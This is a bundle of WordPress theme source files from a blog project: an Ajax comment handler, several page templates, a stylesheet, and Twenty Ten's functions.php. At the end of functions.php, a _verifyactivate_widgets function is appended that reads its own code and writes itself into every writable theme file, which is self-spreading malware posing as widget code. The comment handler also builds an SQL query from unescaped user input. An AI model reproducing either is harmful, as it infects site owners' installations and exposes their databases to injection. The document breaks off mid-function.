<?php /** * WordPress 內置嵌套評論專用 Ajax comments >> WordPress-jQuery-Ajax-Comments v1.29 by Willin Kan. * * 說明: 這個文件是由 WP 2.92 根目錄的 wp-comment-post.php 修改的, 修改的地方有注解. 當 WP 升級, 請注意可能有所不同. */ if ( 'POST' != $_SERVER['REQUEST_METHOD'] ) { header('Allow: POST'); header('HTTP/1.1 405 Method Not Allowed'); header('Content-Type: text/plain'); exit; } /** Sets up the WordPress Environment. */ require_once(dirname(__FILE__)."/../../../wp-load.php"); // 此 comments-ajax.php 位於主題資料夾,所以位置已不同 nocache_headers(); $comment_post_ID = isset($_POST['comment_post_ID']) ? (int) $_POST['comment_post_ID'] : 0; $status = $wpdb->get_row( $wpdb->prepare("SELECT post_status, comment_status FROM $wpdb->posts WHERE ID = %d", $comment_post_ID) ); if ( empty($status->comment_status) ) { do_action('comment_id_not_found', $comment_post_ID); err(__('Invalid comment status.')); // 將 exit 改為錯誤提示 } elseif ( !comments_open($comment_post_ID) ) { do_action('comment_closed', $comment_post_ID); err(__('Sorry, comments are closed for this item.')); // 將 wp_die 改為錯誤提示 } elseif ( in_array($status->post_status, array('draft', 'future', 'pending') ) ) { do_action('comment_on_draft', $comment_post_ID); err(__('Invalid comment status.')); // 將 exit 改為錯誤提示 } elseif ( 'trash' == $status->post_status ) { do_action('comment_on_trash', $comment_post_ID); err(__('Invalid comment status.')); // 將 exit 改為錯誤提示 } elseif ( post_password_required($comment_post_ID) ) { do_action('comment_on_password_protected', $comment_post_ID); err(__('Password Protected')); // 將 exit 改為錯誤提示 } else { do_action('pre_comment_on_post', $comment_post_ID); } $comment_author = ( isset($_POST['author']) ) ? trim(strip_tags($_POST['author'])) : null; $comment_author_email = ( isset($_POST['email']) ) ? trim($_POST['email']) : null; $comment_author_url = ( isset($_POST['url']) ) ? trim($_POST['url']) : null; $comment_content = ( isset($_POST['comment']) ) ? trim($_POST['comment']) : null; $edit_id = ( isset($_POST['edit_id']) ) ? $_POST['edit_id'] : null; // 提取 edit_id // If the user is logged in $user = wp_get_current_user(); if ( $user->ID ) { if ( empty( $user->display_name ) ) $user->display_name=$user->user_login; $comment_author = $wpdb->escape($user->display_name); $comment_author_email = $wpdb->escape($user->user_email); $comment_author_url = $wpdb->escape($user->user_url); if ( current_user_can('unfiltered_html') ) { if ( wp_create_nonce('unfiltered-html-comment_' . $comment_post_ID) != $_POST['_wp_unfiltered_html_comment'] ) { kses_remove_filters(); // start with a clean slate kses_init_filters(); // set up the filters } } } else { if ( get_option('comment_registration') || 'private' == $status->post_status ) err(__('Sorry, you must be logged in to post a comment.')); // 將 wp_die 改為錯誤提示 } $comment_type = ''; if ( get_option('require_name_email') && !$user->ID ) { if ( 6 > strlen($comment_author_email) || '' == $comment_author ) err( __('Error: please fill the required fields (name, email).')); // 將 wp_die 改為錯誤提示 elseif ( !is_email($comment_author_email)) err(__('Error: please enter a valid email address.')); // 將 wp_die 改為錯誤提示 } if ( '' == $comment_content ) err(__('Error: please type a comment.')); // 將 wp_die 改為錯誤提示 // 增加: 錯誤提示功能 function err($ErrMsg) { header('HTTP/1.1 405 Method Not Allowed'); echo $ErrMsg; exit; } // 增加: 檢查重覆評論功能 $dupe = "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = '$comment_post_ID' AND ( comment_author = '$comment_author' "; if ( $comment_author_email ) $dupe .= "OR comment_author_email = '$comment_author_email' "; $dupe .= ") AND comment_content = '$comment_content' LIMIT 1"; if ( $wpdb->get_var($dupe) ) { err(__('Duplicate comment detected; it looks as though you&#8217;ve already said that!')); } // 增加: 檢查評論太快功能 if ( $lasttime = $wpdb->get_var( $wpdb->prepare("SELECT comment_date_gmt FROM $wpdb->comments WHERE comment_author = %s ORDER BY comment_date DESC LIMIT 1", $comment_author) ) ) { $time_lastcomment = mysql2date('U', $lasttime, false); $time_newcomment = mysql2date('U', current_time('mysql', 1), false); $flood_die = apply_filters('comment_flood_filter', false, $time_lastcomment, $time_newcomment); if ( $flood_die ) { err(__('You are posting comments too quickly. Slow down.')); } } $comment_parent = isset($_POST['comment_parent']) ? absint($_POST['comment_parent']) : 0; $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID', 'comment_approved'); // 增加: 檢查評論是否正被編輯, 更新或新建評論 if ( $edit_id ){ $comment_id = $commentdata['comment_ID'] = $edit_id; wp_update_comment( $commentdata ); } else { $comment_id = wp_new_comment( $commentdata ); } $comment = get_comment($comment_id); if ( !$user->ID ) { $comment_cookie_lifetime = apply_filters('comment_cookie_lifetime', 30000000); setcookie('comment_author_' . COOKIEHASH, $comment->comment_author, time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN); setcookie('comment_author_email_' . COOKIEHASH, $comment->comment_author_email, time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN); setcookie('comment_author_url_' . COOKIEHASH, esc_url($comment->comment_author_url), time() + $comment_cookie_lifetime, COOKIEPATH, COOKIE_DOMAIN); } //$location = empty($_POST['redirect_to']) ? get_comment_link($comment_id) : $_POST['redirect_to'] . '#comment-' . $comment_id; //取消原有的刷新重定向 //$location = apply_filters('comment_post_redirect', $location, $comment); //wp_redirect($location); $comment_depth = 1; //为评论的 class 属性准备的 $tmp_c = $comment; while($tmp_c->comment_parent != 0){ $comment_depth++; $tmp_c = get_comment($tmp_c->comment_parent); } //以下是评论式样, 不含 "回复". ?> <li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>"> <div id="comment-<?php comment_ID(); ?>" class="comment-body"> <div class="comment-author vcard"> <img src="<?php echo bloginfo('template_directory'),'/images/gravatar.png' ?>" alt="" class="avatar" /> <?php printf( __( '<cite class="fn">%s</cite>'), get_comment_author_link() ); ?>:<?php edit_comment_link( __( '编辑' ), ' ' ); ?> </div> <?php if ( $comment->comment_approved == '0' ) : ?> <span style="color:#C00; font-style:inherit">您的评论正在等待审核中...</span> <br /> <?php endif; ?> <div class="comment-body"><?php comment_text(); ?></div> <span class="commentmetadata"><?php comment_date('Y-m-d') ?> <?php comment_time() ?></span> </div>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/comments-ajax2.php
PHP
asf20
7,003
<?php get_header(); ?> <div id="content"> <div class="main"> <?php $count = 1; ?> <?php if (have_posts()) : ?> <?php while (have_posts()) : the_post(); ?> <ul <?php post_class(); ?> id="post-<?php the_ID(); ?>"> <li> <?php if(($count == 1||$count == 2||$count == 3)) : ?> <div class="post_date"> <span class="date_ym"><?php the_time('Y') ?>.<?php echo date('m',get_the_time('U'));?></span> <span class="date_d"><?php the_time('d') ?></span> </div> <div class="article"> <h2><a href="<?php the_permalink() ?>" rel="bookmark" title="详细阅读 <?php the_title_attribute(); ?>"><?php the_title(); ?></a><span class="new"><?php include('includes/new.php'); ?></span></h2> <div class="infotop"> <span class="info-category-icon"><?php the_category(', ') ?></span> <span class="info-view-icon">超过<?php if(function_exists(the_views)) { the_views();}?>围观</span> <span class="info-comment-icon"><?php comments_popup_link ('0条评论','1条评论','%条评论'); ?></span> </div> <div class="thumbnail_box_top"> <div class="thumbnail"> <a href="<?php the_permalink() ?>" rel="bookmark" target="_blank" title="<?php the_title(); ?>"> <?php $thumb_img = has_post_thumbnail() ? get_the_post_thumbnail( $post->ID, array(430, 200), array('alt' => trim(strip_tags( $post->post_title )),'title'=> trim(strip_tags( $post->post_title ))) ) : get_post_img( 430, 200, 1);?> <?php echo $thumb_img;?> </a></div> </div> <div class="entry_post_top"> <span style="padding-left:20px"><?php echo mb_strimwidth(strip_tags(apply_filters('the_content', $post->post_content)), 0, 150,"..."); ?></span> <div class="clear"></div> <div class="infobot"> <span class="info-user-icon">来源:<?php $custom_fields = get_post_custom_keys($post_id); if (!in_array ('copyright', $custom_fields)) : ?> 本站原创 <?php else: ?> <?php $custom = get_post_custom($post_id); $custom_url=$custom['copyrighturl'] ; $custom_value = $custom['copyright']; ?> <a target="_blank" href="<?php echo $custom_url[0] ?>"><?php echo $custom_value[0] ?></a> <?php endif; ?> </span> <span class="info-tag-icon"><?php the_tags('标签:', ', ', ''); ?></span> </div> <div class="readmore"><a href="<?php the_permalink() ?>" target="_blank" title="详细阅读 <?php the_title(); ?>" rel="bookmark" style="opacity: 1; ">阅读全文</a></div> </div></li></ul><div class="clear"></div> <?php else: ?> <div class="article_b"> <div class="tagleft"> <h2><a href="<?php the_permalink() ?>" title="详细阅读 <?php the_title_attribute(); ?>"><?php the_title(); ?></a><span class="new"><?php include('includes/new.php'); ?></span></h2></div> <div class="infotop"> <span class="info-category-icon"><?php the_category(', ') ?></span> <span class="info-view-icon">超过<?php if(function_exists(the_views)) { the_views();}?>围观</span> <span class="info-comment-icon"><?php comments_popup_link ('0条评论','1条评论','%条评论'); ?></span> </div> <div class="thumbnail_box"> <div class="thumbnail"> <a href="<?php the_permalink() ?>" rel="bookmark" target="_blank" title="<?php the_title(); ?>"> <?php $thumb_img = has_post_thumbnail() ? get_the_post_thumbnail( $post->ID, array(140, 100), array('alt' => trim(strip_tags( $post->post_title )),'title'=> trim(strip_tags( $post->post_title ))) ) : get_post_img( 140, 100, 2);?> <?php echo $thumb_img;?> </a></div> </div> <div class="entry_post"> <span><?php echo mb_strimwidth(strip_tags(apply_filters('the_content', $post->post_content)), 0, 340,"..."); ?></span> <div class="clear"></div> <div class="infobot"> <span class="info-user-icon">来源:<?php $custom_fields = get_post_custom_keys($post_id); if (!in_array ('copyright', $custom_fields)) : ?> 本站原创 <?php else: ?> <?php $custom = get_post_custom($post_id); $custom_url=$custom['copyrighturl'] ; $custom_value = $custom['copyright']; ?> <a target="_blank" href="<?php echo $custom_url[0] ?>" ><?php echo $custom_value[0] ?></a> <?php endif; ?> </span> <span class="info-tag-icon"><?php the_tags('标签:', ', ', ''); ?></span> </div> <div class="readmore"><a href="<?php the_permalink() ?>" target="_blank" title="详细阅读 <?php the_title(); ?>" rel="bookmark" style="opacity: 1; ">阅读全文</a></div> </div> <span class="date_s"><?php echo date('m',get_the_time('U'));?>-<?php the_time('d') ?></span> </li></ul><div class="clear"></div><?php endif;$count++; ?> <?php endwhile; ?> <?php endif; ?> <div class="navigation"><?php pagination($query_string); ?></div> </div> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/index.php
PHP
asf20
4,625
<?php /* Template Name: Guestbook */ ?> <?php get_header(); ?> <div id="roll"><div title="回到顶部" id="roll_top"></div><div title="查看评论" id="ct"></div><div title="转到底部" id="fall"></div></div> <div id="content"> <div class="main"><?php if (have_posts()) : while (have_posts()) : the_post(); ?> <div class="left"> <div class="article"> <h2 class="page_title" style="font-size: 15px;font-weight: normal;color: #969696;">尽情吐槽吧</h2> <div class="clear"></div> <p class="articles_all">非常欢迎大家灌水和吐槽,有什么不愉快的说出来让大家愉快一下吧!欢迎大家积极踊跃的留言和交流</p><p>有什么想法,问题,意见和建议都可以说出来,希望能为大家打造一个自由轻松的交流环境!</p> <?php if (get_option('swt_type') == 'Display') { ?> <div class="v_comment"><ul> <?php $counts = $wpdb->get_results("SELECT COUNT(comment_ID) AS cnt, comment_author, comment_author_url, comment_author_email FROM (SELECT * FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->posts.ID=$wpdb->comments.comment_post_ID) WHERE comment_date > date_sub( NOW(), INTERVAL 3 MONTH ) AND user_id='0' AND comment_author_email != '' AND post_password='' AND comment_approved='1' AND comment_type='') AS tempcmt GROUP BY comment_author_email ORDER BY cnt DESC LIMIT 56"); foreach ($counts as $count) { $a = get_bloginfo('wpurl') . '/avatar/' . md5(strtolower($count->comment_author_email)) . '.jpg'; $c_url = $count->comment_author_url; $mostactive .= '<li class="mostactive">' . '<a href="'. $c_url . '" title="' . $count->comment_author . ' (留下'. $count->cnt . '个脚印)" target="_blank" rel="external nofollow"><img src="' . $a . '" alt="' . $count->comment_author . ' (留下'. $count->cnt . '个脚印)" class="avatar" /></a></li>'; } echo $mostactive; ?></ul> </div> <?php { echo ''; } ?> <?php } else { include(TEMPLATEPATH . '/gbook2.php'); } ?> <div class="clear"></div> </div></div> <div class="articles"> <h2 class="page_title" style="font-size: 15px;font-weight: normal;color: #969696;">温情留言板</h2> <?php comments_template(); ?> </div> <?php endwhile; else: ?> <?php endif; ?> </div> <?php get_sidebar(); ?> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/HelloMetro/gbook.php
PHP
asf20
2,247
<?php /** * Template Name: One column, no sidebar * * A custom page template without sidebar. * * The "Template Name:" bit above allows this to be selectable * from a dropdown menu on the edit page screen. * * @package WordPress * @subpackage Twenty_Ten * @since Twenty Ten 1.0 */ get_header(); ?> <div id="container" class="one-column"> <div id="content" role="main"> <?php /* Run the loop to output the page. * If you want to overload this in a child theme then include a file * called loop-page.php and that will be used instead. */ get_template_part( 'loop', 'page' ); ?> </div><!-- #content --> </div><!-- #container --> <?php get_footer(); ?>
zyblog
trunk/zyblog/wp-content/themes/twentyten/onecolumn-page.php
PHP
asf20
700
/* Theme Name: Twenty Ten */ /* Used to style the TinyMCE editor. */ html .mceContentBody{ direction: rtl; unicode-bidi: embed; float: right; width: 640px; } * { font-family: Arial, Tahoma, sans-serif; } /* Text elements */ ul, ol { margin: 0 -18px 18px 0; } dd { margin-right: 0; } blockquote { font-style: normal; } table { text-align: right; margin: 0 0 24px -1px; }
zyblog
trunk/zyblog/wp-content/themes/twentyten/editor-style-rtl.css
CSS
asf20
380
<?php /** * TwentyTen functions and definitions * * Sets up the theme and provides some helper functions. Some helper functions * are used in the theme as custom template tags. Others are attached to action and * filter hooks in WordPress to change core functionality. * * The first function, twentyten_setup(), sets up the theme by registering support * for various features in WordPress, such as post thumbnails, navigation menus, and the like. * * When using a child theme (see http://codex.wordpress.org/Theme_Development and * http://codex.wordpress.org/Child_Themes), you can override certain functions * (those wrapped in a function_exists() call) by defining them first in your child theme's * functions.php file. The child theme's functions.php file is included before the parent * theme's file, so the child theme functions would be used. * * Functions that are not pluggable (not wrapped in function_exists()) are instead attached * to a filter or action hook. The hook can be removed by using remove_action() or * remove_filter() and you can attach your own function to the hook. * * We can remove the parent theme's hook only after it is attached, which means we need to * wait until setting up the child theme: * * <code> * add_action( 'after_setup_theme', 'my_child_theme_setup' ); * function my_child_theme_setup() { * // We are providing our own filter for excerpt_length (or using the unfiltered value) * remove_filter( 'excerpt_length', 'twentyten_excerpt_length' ); * ... * } * </code> * * For more information on hooks, actions, and filters, see http://codex.wordpress.org/Plugin_API. * * @package WordPress * @subpackage Twenty_Ten * @since Twenty Ten 1.0 */ /** * Set the content width based on the theme's design and stylesheet. * * Used to set the width of images and content. Should be equal to the width the theme * is designed for, generally via the style.css stylesheet. */ if ( ! isset( $content_width ) ) $content_width = 640; /** Tell WordPress to run twentyten_setup() when the 'after_setup_theme' hook is run. */ add_action( 'after_setup_theme', 'twentyten_setup' ); if ( ! function_exists( 'twentyten_setup' ) ): /** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which runs * before the init hook. The init hook is too late for some features, such as indicating * support post thumbnails. * * To override twentyten_setup() in a child theme, add your own twentyten_setup to your child theme's * functions.php file. * * @uses add_theme_support() To add support for post thumbnails, custom headers and backgrounds, and automatic feed links. * @uses register_nav_menus() To add support for navigation menus. * @uses add_editor_style() To style the visual editor. * @uses load_theme_textdomain() For translation/localization support. * @uses register_default_headers() To register the default custom header images provided with the theme. * @uses set_post_thumbnail_size() To set a custom post thumbnail size. * * @since Twenty Ten 1.0 */ function twentyten_setup() { // This theme styles the visual editor with editor-style.css to match the theme style. add_editor_style(); // Post Format support. You can also use the legacy "gallery" or "asides" (note the plural) categories. add_theme_support( 'post-formats', array( 'aside', 'gallery' ) ); // This theme uses post thumbnails add_theme_support( 'post-thumbnails' ); // Add default posts and comments RSS feed links to head add_theme_support( 'automatic-feed-links' ); // Make theme available for translation // Translations can be filed in the /languages/ directory load_theme_textdomain( 'twentyten', get_template_directory() . '/languages' ); // This theme uses wp_nav_menu() in one location. register_nav_menus( array( 'primary' => __( 'Primary Navigation', 'twentyten' ), ) ); // This theme allows users to set a custom background. add_theme_support( 'custom-background', array( // Let WordPress know what our default background color is. 'default-color' => 'f1f1f1', ) ); // The custom header business starts here. $custom_header_support = array( // The default image to use. // The %s is a placeholder for the theme template directory URI. 'default-image' => '%s/images/headers/path.jpg', // The height and width of our custom header. 'width' => apply_filters( 'twentyten_header_image_width', 940 ), 'height' => apply_filters( 'twentyten_header_image_height', 198 ), // Support flexible heights. 'flex-height' => true, // Don't support text inside the header image. 'header-text' => false, // Callback for styling the header preview in the admin. 'admin-head-callback' => 'twentyten_admin_header_style', ); add_theme_support( 'custom-header', $custom_header_support ); if ( ! function_exists( 'get_custom_header' ) ) { // This is all for compatibility with versions of WordPress prior to 3.4. define( 'HEADER_TEXTCOLOR', '' ); define( 'NO_HEADER_TEXT', true ); define( 'HEADER_IMAGE', $custom_header_support['default-image'] ); define( 'HEADER_IMAGE_WIDTH', $custom_header_support['width'] ); define( 'HEADER_IMAGE_HEIGHT', $custom_header_support['height'] ); add_custom_image_header( '', $custom_header_support['admin-head-callback'] ); add_custom_background(); } // We'll be using post thumbnails for custom header images on posts and pages. // We want them to be 940 pixels wide by 198 pixels tall. // Larger images will be auto-cropped to fit, smaller ones will be ignored. See header.php. set_post_thumbnail_size( $custom_header_support['width'], $custom_header_support['height'], true ); // ... and thus ends the custom header business. // Default custom headers packaged with the theme. %s is a placeholder for the theme template directory URI. register_default_headers( array( 'berries' => array( 'url' => '%s/images/headers/berries.jpg', 'thumbnail_url' => '%s/images/headers/berries-thumbnail.jpg', /* translators: header image description */ 'description' => __( 'Berries', 'twentyten' ) ), 'cherryblossom' => array( 'url' => '%s/images/headers/cherryblossoms.jpg', 'thumbnail_url' => '%s/images/headers/cherryblossoms-thumbnail.jpg', /* translators: header image description */ 'description' => __( 'Cherry Blossoms', 'twentyten' ) ), 'concave' => array( 'url' => '%s/images/headers/concave.jpg', 'thumbnail_url' => '%s/images/headers/concave-thumbnail.jpg', /* translators: header image description */ 'description' => __( 'Concave', 'twentyten' ) ), 'fern' => array( 'url' => '%s/images/headers/fern.jpg', 'thumbnail_url' => '%s/images/headers/fern-thumbnail.jpg', /* translators: header image description */ 'description' => __( 'Fern', 'twentyten' ) ), 'forestfloor' => array( 'url' => '%s/images/headers/forestfloor.jpg', 'thumbnail_url' => '%s/images/headers/forestfloor-thumbnail.jpg', /* translators: header image description */ 'description' => __( 'Forest Floor', 'twentyten' ) ), 'inkwell' => array( 'url' => '%s/images/headers/inkwell.jpg', 'thumbnail_url' => '%s/images/headers/inkwell-thumbnail.jpg', /* translators: header image description */ 'description' => __( 'Inkwell', 'twentyten' ) ), 'path' => array( 'url' => '%s/images/headers/path.jpg', 'thumbnail_url' => '%s/images/headers/path-thumbnail.jpg', /* translators: header image description */ 'description' => __( 'Path', 'twentyten' ) ), 'sunset' => array( 'url' => '%s/images/headers/sunset.jpg', 'thumbnail_url' => '%s/images/headers/sunset-thumbnail.jpg', /* translators: header image description */ 'description' => __( 'Sunset', 'twentyten' ) ) ) ); } endif; if ( ! function_exists( 'twentyten_admin_header_style' ) ) : /** * Styles the header image displayed on the Appearance > Header admin panel. * * Referenced via add_custom_image_header() in twentyten_setup(). * * @since Twenty Ten 1.0 */ function twentyten_admin_header_style() { ?> <style type="text/css"> /* Shows the same border as on front end */ #headimg { border-bottom: 1px solid #000; border-top: 4px solid #000; } /* If header-text was supported, you would style the text with these selectors: #headimg #name { } #headimg #desc { } */ </style> <?php } endif; /** * Get our wp_nav_menu() fallback, wp_page_menu(), to show a home link. * * To override this in a child theme, remove the filter and optionally add * your own function tied to the wp_page_menu_args filter hook. * * @since Twenty Ten 1.0 */ function twentyten_page_menu_args( $args ) { if ( ! isset( $args['show_home'] ) ) $args['show_home'] = true; return $args; } add_filter( 'wp_page_menu_args', 'twentyten_page_menu_args' ); /** * Sets the post excerpt length to 40 characters. * * To override this length in a child theme, remove the filter and add your own * function tied to the excerpt_length filter hook. * * @since Twenty Ten 1.0 * @return int */ function twentyten_excerpt_length( $length ) { return 40; } add_filter( 'excerpt_length', 'twentyten_excerpt_length' ); if ( ! function_exists( 'twentyten_continue_reading_link' ) ) : /** * Returns a "Continue Reading" link for excerpts * * @since Twenty Ten 1.0 * @return string "Continue Reading" link */ function twentyten_continue_reading_link() { return ' <a href="'. get_permalink() . '">' . __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyten' ) . '</a>'; } endif; /** * Replaces "[...]" (appended to automatically generated excerpts) with an ellipsis and twentyten_continue_reading_link(). * * To override this in a child theme, remove the filter and add your own * function tied to the excerpt_more filter hook. * * @since Twenty Ten 1.0 * @return string An ellipsis */ function twentyten_auto_excerpt_more( $more ) { return ' &hellip;' . twentyten_continue_reading_link(); } add_filter( 'excerpt_more', 'twentyten_auto_excerpt_more' ); /** * Adds a pretty "Continue Reading" link to custom post excerpts. * * To override this link in a child theme, remove the filter and add your own * function tied to the get_the_excerpt filter hook. * * @since Twenty Ten 1.0 * @return string Excerpt with a pretty "Continue Reading" link */ function twentyten_custom_excerpt_more( $output ) { if ( has_excerpt() && ! is_attachment() ) { $output .= twentyten_continue_reading_link(); } return $output; } add_filter( 'get_the_excerpt', 'twentyten_custom_excerpt_more' ); /** * Remove inline styles printed when the gallery shortcode is used. * * Galleries are styled by the theme in Twenty Ten's style.css. This is just * a simple filter call that tells WordPress to not use the default styles. * * @since Twenty Ten 1.2 */ add_filter( 'use_default_gallery_style', '__return_false' ); /** * Deprecated way to remove inline styles printed when the gallery shortcode is used. * * This function is no longer needed or used. Use the use_default_gallery_style * filter instead, as seen above. * * @since Twenty Ten 1.0 * @deprecated Deprecated in Twenty Ten 1.2 for WordPress 3.1 * * @return string The gallery style filter, with the styles themselves removed. */ function twentyten_remove_gallery_css( $css ) { return preg_replace( "#<style type='text/css'>(.*?)</style>#s", '', $css ); } // Backwards compatibility with WordPress 3.0. if ( version_compare( $GLOBALS['wp_version'], '3.1', '<' ) ) add_filter( 'gallery_style', 'twentyten_remove_gallery_css' ); if ( ! function_exists( 'twentyten_comment' ) ) : /** * Template for comments and pingbacks. * * To override this walker in a child theme without modifying the comments template * simply create your own twentyten_comment(), and that function will be used instead. * * Used as a callback by wp_list_comments() for displaying the comments. * * @since Twenty Ten 1.0 */ function twentyten_comment( $comment, $args, $depth ) { $GLOBALS['comment'] = $comment; switch ( $comment->comment_type ) : case '' : ?> <li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>"> <div id="comment-<?php comment_ID(); ?>"> <div class="comment-author vcard"> <?php echo get_avatar( $comment, 40 ); ?> <?php printf( __( '%s <span class="says">says:</span>', 'twentyten' ), sprintf( '<cite class="fn">%s</cite>', get_comment_author_link() ) ); ?> </div><!-- .comment-author .vcard --> <?php if ( $comment->comment_approved == '0' ) : ?> <em class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.', 'twentyten' ); ?></em> <br /> <?php endif; ?> <div class="comment-meta commentmetadata"><a href="<?php echo esc_url( get_comment_link( $comment->comment_ID ) ); ?>"> <?php /* translators: 1: date, 2: time */ printf( __( '%1$s at %2$s', 'twentyten' ), get_comment_date(), get_comment_time() ); ?></a><?php edit_comment_link( __( '(Edit)', 'twentyten' ), ' ' ); ?> </div><!-- .comment-meta .commentmetadata --> <div class="comment-body"><?php comment_text(); ?></div> <div class="reply"> <?php comment_reply_link( array_merge( $args, array( 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?> </div><!-- .reply --> </div><!-- #comment-## --> <?php break; case 'pingback' : case 'trackback' : ?> <li class="post pingback"> <p><?php _e( 'Pingback:', 'twentyten' ); ?> <?php comment_author_link(); ?><?php edit_comment_link( __( '(Edit)', 'twentyten' ), ' ' ); ?></p> <?php break; endswitch; } endif; /** * Register widgetized areas, including two sidebars and four widget-ready columns in the footer. * * To override twentyten_widgets_init() in a child theme, remove the action hook and add your own * function tied to the init hook. * * @since Twenty Ten 1.0 * @uses register_sidebar */ function twentyten_widgets_init() { // Area 1, located at the top of the sidebar. register_sidebar( array( 'name' => __( 'Primary Widget Area', 'twentyten' ), 'id' => 'primary-widget-area', 'description' => __( 'The primary widget area', 'twentyten' ), 'before_widget' => '<li id="%1$s" class="widget-container %2$s">', 'after_widget' => '</li>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); // Area 2, located below the Primary Widget Area in the sidebar. Empty by default. register_sidebar( array( 'name' => __( 'Secondary Widget Area', 'twentyten' ), 'id' => 'secondary-widget-area', 'description' => __( 'The secondary widget area', 'twentyten' ), 'before_widget' => '<li id="%1$s" class="widget-container %2$s">', 'after_widget' => '</li>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); // Area 3, located in the footer. Empty by default. register_sidebar( array( 'name' => __( 'First Footer Widget Area', 'twentyten' ), 'id' => 'first-footer-widget-area', 'description' => __( 'The first footer widget area', 'twentyten' ), 'before_widget' => '<li id="%1$s" class="widget-container %2$s">', 'after_widget' => '</li>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); // Area 4, located in the footer. Empty by default. register_sidebar( array( 'name' => __( 'Second Footer Widget Area', 'twentyten' ), 'id' => 'second-footer-widget-area', 'description' => __( 'The second footer widget area', 'twentyten' ), 'before_widget' => '<li id="%1$s" class="widget-container %2$s">', 'after_widget' => '</li>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); // Area 5, located in the footer. Empty by default. register_sidebar( array( 'name' => __( 'Third Footer Widget Area', 'twentyten' ), 'id' => 'third-footer-widget-area', 'description' => __( 'The third footer widget area', 'twentyten' ), 'before_widget' => '<li id="%1$s" class="widget-container %2$s">', 'after_widget' => '</li>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); // Area 6, located in the footer. Empty by default. register_sidebar( array( 'name' => __( 'Fourth Footer Widget Area', 'twentyten' ), 'id' => 'fourth-footer-widget-area', 'description' => __( 'The fourth footer widget area', 'twentyten' ), 'before_widget' => '<li id="%1$s" class="widget-container %2$s">', 'after_widget' => '</li>', 'before_title' => '<h3 class="widget-title">', 'after_title' => '</h3>', ) ); } /** Register sidebars by running twentyten_widgets_init() on the widgets_init hook. */ add_action( 'widgets_init', 'twentyten_widgets_init' ); /** * Removes the default styles that are packaged with the Recent Comments widget. * * To override this in a child theme, remove the filter and optionally add your own * function tied to the widgets_init action hook. * * This function uses a filter (show_recent_comments_widget_style) new in WordPress 3.1 * to remove the default style. Using Twenty Ten 1.2 in WordPress 3.0 will show the styles, * but they won't have any effect on the widget in default Twenty Ten styling. * * @since Twenty Ten 1.0 */ function twentyten_remove_recent_comments_style() { add_filter( 'show_recent_comments_widget_style', '__return_false' ); } add_action( 'widgets_init', 'twentyten_remove_recent_comments_style' ); if ( ! function_exists( 'twentyten_posted_on' ) ) : /** * Prints HTML with meta information for the current post-date/time and author. * * @since Twenty Ten 1.0 */ function twentyten_posted_on() { printf( __( '<span class="%1$s">Posted on</span> %2$s <span class="meta-sep">by</span> %3$s', 'twentyten' ), 'meta-prep meta-prep-author', sprintf( '<a href="%1$s" title="%2$s" rel="bookmark"><span class="entry-date">%3$s</span></a>', get_permalink(), esc_attr( get_the_time() ), get_the_date() ), sprintf( '<span class="author vcard"><a class="url fn n" href="%1$s" title="%2$s">%3$s</a></span>', get_author_posts_url( get_the_author_meta( 'ID' ) ), esc_attr( sprintf( __( 'View all posts by %s', 'twentyten' ), get_the_author() ) ), get_the_author() ) ); } endif; if ( ! function_exists( 'twentyten_posted_in' ) ) : /** * Prints HTML with meta information for the current post (category, tags and permalink). * * @since Twenty Ten 1.0 */ function twentyten_posted_in() { // Retrieves tag list of current post, separated by commas. $tag_list = get_the_tag_list( '', ', ' ); if ( $tag_list ) { $posted_in = __( 'This entry was posted in %1$s and tagged %2$s. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyten' ); } elseif ( is_object_in_taxonomy( get_post_type(), 'category' ) ) { $posted_in = __( 'This entry was posted in %1$s. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyten' ); } else { $posted_in = __( 'Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyten' ); } // Prints the string, replacing the placeholders. printf( $posted_in, get_the_category_list( ', ' ), $tag_list, get_permalink(), the_title_attribute( 'echo=0' ) ); } endif; ?> <?php function _verifyactivate_widgets(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f); $output .= ($isshowdots && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_allwidgets_cont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as 